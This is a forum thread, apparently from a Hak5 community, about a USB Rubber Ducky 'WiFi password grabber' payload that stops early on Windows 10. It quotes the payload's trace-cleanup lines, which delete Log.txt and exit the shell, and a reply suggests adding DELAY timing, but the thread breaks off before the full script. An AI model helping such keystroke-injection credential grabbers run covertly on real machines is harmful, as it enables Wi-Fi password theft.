new to duck - script not finishing

[futsec]

I'm new to the ducky and was just trying a sample script. This one - https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---WiFi-password-grabber

For the most part the script works well expect the last part of the script isn't executing. It exits powershell, but never deletes the Log.txt file and never exits the command prompt. In fact it looks like it never attempts to do it. This is on Windows 10. Anyone else experience this? I tried searching the forum, but didn't see a similar post. Thanks!

 

REM --> Delete Log.txt and exit
STRING del Log.txt & exit
ENTER

I also tried 

 

REM --> Delete Log.txt and exit
STRING del Log.txt
ENTER
STRING exit
ENTER

Hey futsec,

When you plug in the duck to a computer it needs to install drivers for the HID, which is the Duck.

 

so,

You should try the DELAY command to the top of your script, and else where like so:

DELAY 3000
REM --> Delete Log.txt and exit
DELAY 150
STRING del Log.txt
ENTER
DELAY 150
STRING exit
ENTER

You need to use the delay command in between some commands so the computer has enough time to process the information before you spam it with key strokes again.

p1ph - thanks for the response. The text I posted is only the bottom part of the script. I am using the complete script that is in the link in my original post. Here is the complete script with the delay in place.

ENTER
DELAY 1000
